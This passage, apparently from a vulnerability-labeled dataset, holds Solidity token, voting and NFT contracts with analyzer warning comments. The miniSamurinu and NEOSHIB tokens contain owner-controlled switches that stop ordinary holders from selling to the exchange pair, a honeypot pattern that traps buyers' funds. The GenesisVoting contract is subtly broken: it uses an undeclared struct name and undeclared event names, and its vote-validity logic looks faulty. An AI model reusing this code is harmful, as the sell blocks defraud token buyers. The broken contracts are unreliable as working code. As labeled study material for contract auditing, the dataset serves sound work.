_decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 82d4af3): miniSamurinu._totalSupply should be immutable \n\t// Recommendation for 82d4af3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n bool public _limitz = true;\n\n constructor() {\n _name = \"miniSamurinu\";\n _symbol = \"miniSAMINU\";\n _decimals = 18;\n _totalSupply = 100000000000000 * 1e18;\n\n _balances[owner()] = _totalSupply.mul(1000).div(1e3);\n\n IDexRouter _dexRouter = IDexRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n dexPair = IdexFacotry(_dexRouter.factory()).createPair(\n address(this),\n _dexRouter.WETH()\n );\n\n dexRouter = _dexRouter;\n\n emit Transfer(address(this), owner(), _totalSupply.mul(1000).div(1e3));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 19b94d2): miniSamurinu.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 19b94d2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function limitz(bool value) external onlyOwner {\n _limitz = value;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"WE: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"WE: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"Transfer coming\");\n require(recipient != address(0), \"Transfer coming\");\n require(amount > 0, \"Transfer coming\");\n\n if (!_limitz && sender != owner() && recipient != owner()) {\n require(recipient != dexPair, \" you hit your limits\");\n }\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(senderBalance >= amount, \"No can do\");\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c6463e9): miniSamurinu._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c6463e9: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"BEP20: approve from the zero address\");\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_3551.sol",
"secure": 0,
"size_bytes": 7006
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract GenesisVoting is Ownable {\n struct Proposal {\n uint256 votes_for;\n uint256 votes_against;\n uint256 opens;\n uint256 expires;\n bool valid_vote;\n }\n\n mapping(address => mapping(uint16 => bool)) public user_votes;\n mapping(uint16 => proposal) public proposals;\n\n address public token_address;\n uint16 public total_proposals;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 39a681d): Genesis_Voting.constructor(address)._token_address lacks a zerocheck on \t token_address = _token_address\n\t// Recommendation for 39a681d: Check that the address is not zero.\n constructor(address _token_address) {\n\t\t// missing-zero-check | ID: 39a681d\n token_address = _token_address;\n emit Token_Address_Changed(_token_address);\n }\n\n event ProposalCreated(\n uint16 indexed proposal_id,\n string url,\n uint256 opens,\n uint256 expires\n );\n event TokenAddressChanged(address token_address);\n event VoteCast(\n uint16 indexed proposal_id,\n address indexed user,\n uint256 user_balance\n );\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: b58abd5): Genesis_Voting.create_proposal(string,uint256,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(opens > block.timestamp,Proposal cannot start in the past)\n\t// Recommendation for b58abd5: Avoid relying on 'block.timestamp'.\n function create_proposal(\n string calldata url,\n uint256 opens,\n uint256 expires\n ) public onlyOwner {\n\t\t// timestamp | ID: b58abd5\n require(opens > block.timestamp, \"Proposal cannot start in the past\");\n require(expires > opens, \"Proposal cannot end before it starts\");\n proposals[total_proposals] = proposal(0, 0, opens, expires, false);\n emit Proposal_Created(total_proposals, url, opens, expires);\n total_proposals += 1;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: a39bf8d): Genesis_Voting.get_proposal_result(uint16) uses timestamp for comparisons Dangerous comparisons require(bool,string)(proposals[proposal_id].expires < block.timestamp,Proposal not finished)\n\t// Recommendation for a39bf8d: Avoid relying on 'block.timestamp'.\n function get_proposal_result(\n uint16 proposal_id\n ) public view returns (bool) {\n\t\t// timestamp | ID: a39bf8d\n require(\n proposals[proposal_id].expires < block.timestamp,\n \"Proposal not finished\"\n );\n require(\n proposals[proposal_id].valid_vote,\n \"Insufficient participation\"\n );\n return\n proposals[proposal_id].votes_for >\n proposals[proposal_id].votes_against;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 6ce7019): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 6ce7019: Avoid relying on 'block.timestamp'.\n function vote(uint16 proposal_id, bool vote_choice) public {\n uint256 user_balance = IERC20(token_address).balanceOf(msg.sender);\n require(user_balance > 0, \"User has no tokens\");\n\t\t// timestamp | ID: 6ce7019\n require(\n proposals[proposal_id].opens < block.timestamp,\n \"Proposal not started\"\n );\n\t\t// timestamp | ID: 6ce7019\n require(\n proposals[proposal_id].expires > block.timestamp,\n \"Proposal invalid or expired\"\n );\n require(!user_votes[msg.sender][proposal_id], \"User has already voted\");\n if (\n !proposals[proposal_id].valid_vote &&\n proposals[proposal_id].votes_for +\n proposals[proposal_id].votes_against >\n 0\n ) {\n proposals[proposal_id].valid_vote = true;\n }\n\n if (vote_choice) {\n proposals[proposal_id].votes_for += user_balance;\n } else {\n proposals[proposal_id].votes_against += user_balance;\n }\n\n user_votes[msg.sender][proposal_id] = true;\n emit Vote_Cast(proposal_id, msg.sender, user_balance);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 76ce142): Genesis_Voting.update_token_address(address)._token_address lacks a zerocheck on \t token_address = _token_address\n\t// Recommendation for 76ce142: Check that the address is not zero.\n function update_token_address(address _token_address) public onlyOwner {\n\t\t// missing-zero-check | ID: 76ce142\n token_address = _token_address;\n emit Token_Address_Changed(_token_address);\n }\n}",
"file_name": "solidity_code_3552.sol",
"secure": 0,
"size_bytes": 4922
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./IBEP20.sol\" as IBEP20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract FantomDoge is Context, IBEP20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcluded;\n mapping(address => bool) private _isCharity;\n address[] private _excluded;\n address[] private _charity;\n\n string private constant _NAME = \"Fantom Doge\";\n string private constant _SYMBOL = \"FTMD\";\n uint8 private constant _DECIMALS = 18;\n\n uint256 private constant _MAX = ~uint256(0);\n uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);\n uint256 private constant _GRANULARITY = 100;\n\n uint256 private _tTotal = 1000000000000 * _DECIMALFACTOR;\n uint256 private _rTotal = (_MAX - (_MAX % _tTotal));\n\n uint256 private _tFeeTotal;\n uint256 private _tBurnTotal;\n uint256 private _tCharityTotal;\n\n uint256 private _TAX_FEE = 200;\n uint256 private _BURN_FEE = 200;\n uint256 private _CHARITY_FEE = 50;\n uint256 private constant _MAX_TX_SIZE = 1000000000000 * _DECIMALFACTOR;\n\n uint256 private ORIG_TAX_FEE = _TAX_FEE;\n uint256 private ORIG_BURN_FEE = _BURN_FEE;\n uint256 private ORIG_CHARITY_FEE = _CHARITY_FEE;\n\n bool private _taxOff = true;\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _NAME;\n }\n\n function symbol() public pure returns (string memory) {\n return _SYMBOL;\n }\n\n function decimals() public pure returns (uint8) {\n return _DECIMALS;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n if (_isExcluded[account]) return _tOwned[account];\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c24456b): FantomDoge.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c24456b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"BEP20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"BEP20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function isExcluded(address account) public view returns (bool) {\n return _isExcluded[account];\n }\n function taxIsOff() public view returns (bool) {\n return _taxOff;\n }\n\n function isCharity(address account) public view returns (bool) {\n return _isCharity[account];\n }\n\n function totalFees() public view returns (uint256) {\n return _tFeeTotal;\n }\n\n function totalBurn() public view returns (uint256) {\n return _tBurnTotal;\n }\n\n function totalCharity() public view returns (uint256) {\n return _tCharityTotal;\n }\n\n function deliver(uint256 tAmount) public {\n address sender = _msgSender();\n require(\n !_isExcluded[sender],\n \"Excluded addresses cannot call this function\"\n );\n (uint256 rAmount, , , , , , ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rTotal = _rTotal.sub(rAmount);\n _tFeeTotal = _tFeeTotal.add(tAmount);\n }\n\n function reflectionFromToken(\n uint256 tAmount,\n bool deductTransferFee\n ) public view returns (uint256) {\n require(tAmount <= _tTotal, \"Amount must be less than supply\");\n if (!deductTransferFee) {\n (uint256 rAmount, , , , , , ) = _getValues(tAmount);\n return rAmount;\n } else {\n (, uint256 rTransferAmount, , , , , ) = _getValues(tAmount);\n return rTransferAmount;\n }\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) public view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function excludeAccount(address account) external onlyOwner {\n require(\n account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,\n \"We can not exclude Uniswap router.\"\n );\n require(!_isExcluded[account], \"Account is already excluded\");\n if (_rOwned[account] > 0) {\n _tOwned[account] = tokenFromReflection(_rOwned[account]);\n }\n _isExcluded[account] = true;\n _excluded.push(account);\n }\n function toggleFee() external onlyOwner {\n if (_taxOff) {\n _taxOff = false;\n }\n }\n\n function includeAccount(address account) external onlyOwner {\n require(_isExcluded[account], \"Account is already excluded\");\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (_excluded[i] == account) {\n _excluded[i] = _excluded[_excluded.length - 1];\n _tOwned[account] = 0;\n _isExcluded[account] = false;\n _excluded.pop();\n break;\n }\n }\n }\n\n function setAsCharityAccount(address account) external onlyOwner {\n require(\n account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,\n \"The Uniswap router can not be the charity account.\"\n );\n require(!_isCharity[account], \"Account is already charity account\");\n _isCharity[account] = true;\n _charity.push(account);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8df4a03): FantomDoge._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8df4a03: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"BEP20: approve from the zero address\");\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(sender != address(0), \"BEP20: transfer from the zero address\");\n require(recipient != address(0), \"BEP20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takeFee = true;\n if (\n _isCharity[sender] ||\n _isCharity[recipient] ||\n _isExcluded[recipient] ||\n _taxOff\n ) {\n takeFee = false;\n }\n\n if (!takeFee) removeAllFee();\n\n if (sender != owner() && recipient != owner())\n require(\n amount <= _MAX_TX_SIZE,\n \"Transfer amount exceeds the maxTxAmount.\"\n );\n\n if (_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferFromExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && _isExcluded[recipient]) {\n _transferToExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferStandard(sender, recipient, amount);\n } else if (_isExcluded[sender] && _isExcluded[recipient]) {\n _transferBothExcluded(sender, recipient, amount);\n } else {\n _transferStandard(sender, recipient, amount);\n }\n\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n uint256 currentRate = _getRate();\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) = _getValues(tAmount);\n uint256 rBurn = tBurn.mul(currentRate);\n uint256 rCharity = tCharity.mul(currentRate);\n _standardTransferContent(sender, recipient, rAmount, rTransferAmount);\n _sendToCharity(tCharity, sender);\n _reflectFee(rFee, rBurn, rCharity, tFee, tBurn, tCharity);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _standardTransferContent(\n address sender,\n address recipient,\n uint256 rAmount,\n uint256 rTransferAmount\n ) private {\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n }\n\n function _transferToExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n uint256 currentRate = _getRate();\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) = _getValues(tAmount);\n uint256 rBurn = tBurn.mul(currentRate);\n uint256 rCharity = tCharity.mul(currentRate);\n _excludedFromTransferContent(\n sender,\n recipient,\n tTransferAmount,\n rAmount,\n rTransferAmount\n );\n _sendToCharity(tCharity, sender);\n _reflectFee(rFee, rBurn, rCharity, tFee, tBurn, tCharity);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _excludedFromTransferContent(\n address sender,\n address recipient,\n uint256 tTransferAmount,\n uint256 rAmount,\n uint256 rTransferAmount\n ) private {\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n }\n\n function _transferFromExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n uint256 currentRate = _getRate();\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) = _getValues(tAmount);\n uint256 rBurn = tBurn.mul(currentRate);\n uint256 rCharity = tCharity.mul(currentRate);\n _excludedToTransferContent(\n sender,\n recipient,\n tAmount,\n rAmount,\n rTransferAmount\n );\n _sendToCharity(tCharity, sender);\n _reflectFee(rFee, rBurn, rCharity, tFee, tBurn, tCharity);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _excludedToTransferContent(\n address sender,\n address recipient,\n uint256 tAmount,\n uint256 rAmount,\n uint256 rTransferAmount\n ) private {\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n }\n\n function _transferBothExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n uint256 currentRate = _getRate();\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) = _getValues(tAmount);\n uint256 rBurn = tBurn.mul(currentRate);\n uint256 rCharity = tCharity.mul(currentRate);\n _bothTransferContent(\n sender,\n recipient,\n tAmount,\n rAmount,\n tTransferAmount,\n rTransferAmount\n );\n _sendToCharity(tCharity, sender);\n _reflectFee(rFee, rBurn, rCharity, tFee, tBurn, tCharity);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _bothTransferContent(\n address sender,\n address recipient,\n uint256 tAmount,\n uint256 rAmount,\n uint256 tTransferAmount,\n uint256 rTransferAmount\n ) private {\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n }\n\n function _reflectFee(\n uint256 rFee,\n uint256 rBurn,\n uint256 rCharity,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) private {\n _rTotal = _rTotal.sub(rFee).sub(rBurn).sub(rCharity);\n _tFeeTotal = _tFeeTotal.add(tFee);\n _tBurnTotal = _tBurnTotal.add(tBurn);\n _tCharityTotal = _tCharityTotal.add(tCharity);\n _tTotal = _tTotal.sub(tBurn);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tFee, uint256 tBurn, uint256 tCharity) = _getTBasics(\n tAmount,\n _TAX_FEE,\n _BURN_FEE,\n _CHARITY_FEE\n );\n uint256 tTransferAmount = getTTransferAmount(\n tAmount,\n tFee,\n tBurn,\n tCharity\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rFee) = _getRBasics(\n tAmount,\n tFee,\n currentRate\n );\n uint256 rTransferAmount = _getRTransferAmount(\n rAmount,\n rFee,\n tBurn,\n tCharity,\n currentRate\n );\n return (\n rAmount,\n rTransferAmount,\n rFee,\n tTransferAmount,\n tFee,\n tBurn,\n tCharity\n );\n }\n\n function _getTBasics(\n uint256 tAmount,\n uint256 taxFee,\n uint256 burnFee,\n uint256 charityFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);\n uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);\n uint256 tCharity = ((tAmount.mul(charityFee)).div(_GRANULARITY)).div(\n 100\n );\n return (tFee, tBurn, tCharity);\n }\n\n function getTTransferAmount(\n uint256 tAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) private pure returns (uint256) {\n return tAmount.sub(tFee).sub(tBurn).sub(tCharity);\n }\n\n function _getRBasics(\n uint256 tAmount,\n uint256 tFee,\n uint256 currentRate\n ) private pure returns (uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n return (rAmount, rFee);\n }\n\n function _getRTransferAmount(\n uint256 rAmount,\n uint256 rFee,\n uint256 tBurn,\n uint256 tCharity,\n uint256 currentRate\n ) private pure returns (uint256) {\n uint256 rBurn = tBurn.mul(currentRate);\n uint256 rCharity = tCharity.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn).sub(rCharity);\n return rTransferAmount;\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n\t\t// cache-array-length | ID: 2c74445\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (\n _rOwned[_excluded[i]] > rSupply ||\n _tOwned[_excluded[i]] > tSupply\n ) return (_rTotal, _tTotal);\n rSupply = rSupply.sub(_rOwned[_excluded[i]]);\n tSupply = tSupply.sub(_tOwned[_excluded[i]]);\n }\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n function _sendToCharity(uint256 tCharity, address sender) private {\n uint256 currentRate = _getRate();\n uint256 rCharity = tCharity.mul(currentRate);\n address currentCharity = _charity[0];\n _rOwned[currentCharity] = _rOwned[currentCharity].add(rCharity);\n _tOwned[currentCharity] = _tOwned[currentCharity].add(tCharity);\n emit Transfer(sender, currentCharity, tCharity);\n }\n\n function removeAllFee() private {\n if (_TAX_FEE == 0 && _BURN_FEE == 0 && _CHARITY_FEE == 0) return;\n\n ORIG_TAX_FEE = _TAX_FEE;\n ORIG_BURN_FEE = _BURN_FEE;\n ORIG_CHARITY_FEE = _CHARITY_FEE;\n\n _TAX_FEE = 0;\n _BURN_FEE = 0;\n _CHARITY_FEE = 0;\n }\n\n function restoreAllFee() private {\n _TAX_FEE = ORIG_TAX_FEE;\n _BURN_FEE = ORIG_BURN_FEE;\n _CHARITY_FEE = ORIG_CHARITY_FEE;\n }\n\n function _getTaxFee() private view returns (uint256) {\n return _TAX_FEE;\n }\n\n function _getMaxTxAmount() private pure returns (uint256) {\n return _MAX_TX_SIZE;\n }\n}",
"file_name": "solidity_code_3553.sol",
"secure": 0,
"size_bytes": 19862
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract NEOSHIB is ERC20, Ownable {\n mapping(address => bool) private _enable;\n address private _pair;\n constructor() ERC20(\"Neo Shib\", \"NEOSHIB\") {\n _mint(msg.sender, 1000000000000000 * 10 ** 18);\n _enable[msg.sender] = true;\n _pair = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n }\n function list(address user, bool enable) public onlyOwner {\n _enable[user] = enable;\n }\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6becac9): NEOSHIB.uni(address).pair_ lacks a zerocheck on \t _pair = pair_\n\t// Recommendation for 6becac9: Check that the address is not zero.\n function uni(address pair_) public onlyOwner {\n\t\t// missing-zero-check | ID: 6becac9\n _pair = pair_;\n }\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (to == _pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}",
"file_name": "solidity_code_3554.sol",
"secure": 0,
"size_bytes": 1207
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract SlammaJamma is ERC721Enumerable, ReentrancyGuard, Ownable {\n uint256 public constant MAX_SUPPLY = 9999;\n uint256 public constant MAX_SALE_SUPPLY = 9900;\n\n bool public open;\n\n string[] private bigs = [\n \"Joel Embiid\",\n \"Nikola Jokic\",\n \"Anthony Davis\",\n \"Rudy Gobert\",\n \"Karl-Anthony Towns\",\n \"Deandre Ayton\",\n \"Julius Randle\",\n \"Bam Adebayo\",\n \"Jaren Jackson Jr.\",\n \"Nikola Vucevic\",\n \"Domantas Sabonis\",\n \"Kristaps Porzingis\",\n \"John Collins\",\n \"Jonas Valunciunas\",\n \"Clint Capela\",\n \"Andre Drummond\",\n \"Thomas Bryant\",\n \"Al Horford\",\n \"Chris Boucher\",\n \"Lauri Markannen\",\n \"Lamarcus Aldridge\",\n \"Kelly Olynyk\",\n \"Montrezl Harrell\",\n \"Jarrett Allen\",\n \"Myles Turner\",\n \"Brook Lopez\",\n \"Kevin Love\",\n \"James Wiseman\",\n \"Jusuf Nurkic\",\n \"Wendell Carter Jr.\",\n \"Naz Reid\",\n \"Enes Kanter\",\n \"Tacko Fall\",\n \"Ivica Zubac\",\n \"Justin Patton\",\n \"Hassan Whiteside\",\n \"Richaun Holmes\",\n \"Dwight Howard\",\n \"Isaiah Roby\",\n \"Giannis Antetokounmpo\",\n \"Zion Williamson\",\n \"Pascal Siakam\",\n \"Marvin Bagley III\",\n \"Rui Hachimura\",\n \"Darius Bazley\",\n \"Blake Griffin\",\n \"Thaddeus Young\",\n \"Draymond Green\",\n \"Aaron Gordon\",\n \"Evan Mobley\",\n \"Jonathan Kuminga\",\n \"Franz Wagner\",\n \"Alperen Sengun\",\n \"Kai Jones\",\n \"Usman Garuba\",\n \"Day'Ron Sharpe\",\n \"Santi Aldama\",\n \"Jeremiah Robinson-Earl\",\n \"Luka Garza\",\n \"Jericho Sims\"\n ];\n\n string[] private wings = [\n \"Kevin Durant\",\n \"Carmelo Anthony\",\n \"Jayson Tatum\",\n \"Duncan Robinson\",\n \"Grant Williams\",\n \"Andrew Wiggins\",\n \"PJ Washington\",\n \"Damion Lee\",\n \"Josh Green\",\n \"Eric Paschall\",\n \"Svi Mykhailiuk\",\n \"Andre Igoudala\",\n \"Harrison Barnes\",\n \"Lebron James\",\n \"Kawhi Leonard\",\n \"Brandon Ingram\",\n \"Jerami Grant\",\n \"DeMar DeRozan\",\n \"Jimmy Butler\",\n \"Khris Middleton\",\n \"Gordon Hayward\",\n \"Anthony Edwards\",\n \"Michael Porter Jr.\",\n \"Norman Powell\",\n \"Dillon Brooks\",\n \"Bojan Bogdanovic\",\n \"Tim Hardaway Jr.\",\n \"OG Anunoby\",\n \"DeAndre Hunter\",\n \"Joe Harris\",\n \"T.J. Warren\",\n \"Mikal Bridges\",\n \"Luguentz Dort\",\n \"Doug McDermott\",\n \"Kyle Kuzma\",\n \"Keldon Johnson\",\n \"Miles Bridges\",\n \"Will Barton\",\n \"Kyle Anderson\",\n \"Saddiq Bey\",\n \"Davis Bertans\",\n \"Rudy Gay\",\n \"Jae'Sean Tate\",\n \"Cam Reddish\",\n \"Reggie Bullock\",\n \"Justin Holiday\",\n \"Cedi Osman\",\n \"Otto Porter Jr.\",\n \"Cam Johnson\",\n \"Isaac Okoro\",\n \"Danny Green\",\n \"Trevor Ariza\",\n \"Terrence Ross\",\n \"Paul George\",\n \"Kelly Oubre Jr.\",\n \"Gary Trent Jr.\",\n \"Joe Ingles\",\n \"Scottie Barnes\",\n \"Corey Kispert\",\n \"Jalen Johnson\",\n \"Isaiah Jackson\"\n ];\n\n string[] private guards = [\n \"Josh Hart\",\n \"Grayson Allen\",\n \"CJ McCollum\",\n \"Seth Curry\",\n \"Malik Beasley\",\n \"RJ Hampton\",\n \"Fred VanVleet\",\n \"Cole Anthony\",\n \"Devin Vassell\",\n \"Kyle Guy\",\n \"Corey Joseph\",\n \"Tyrese Haliburton\",\n \"JJ Redick\",\n \"Darius Garland\",\n \"Luka Doncic\",\n \"Zach LaVine\",\n \"Kevin Porter Jr.\",\n \"Kendrick Nunn\",\n \"Jaylen Brown\",\n \"Mike Conley\",\n \"Shai Gilgeous-Alexander\",\n \"Terry Rozier\",\n \"Caris LeVert\",\n \"Stephen Curry\",\n \"Eric 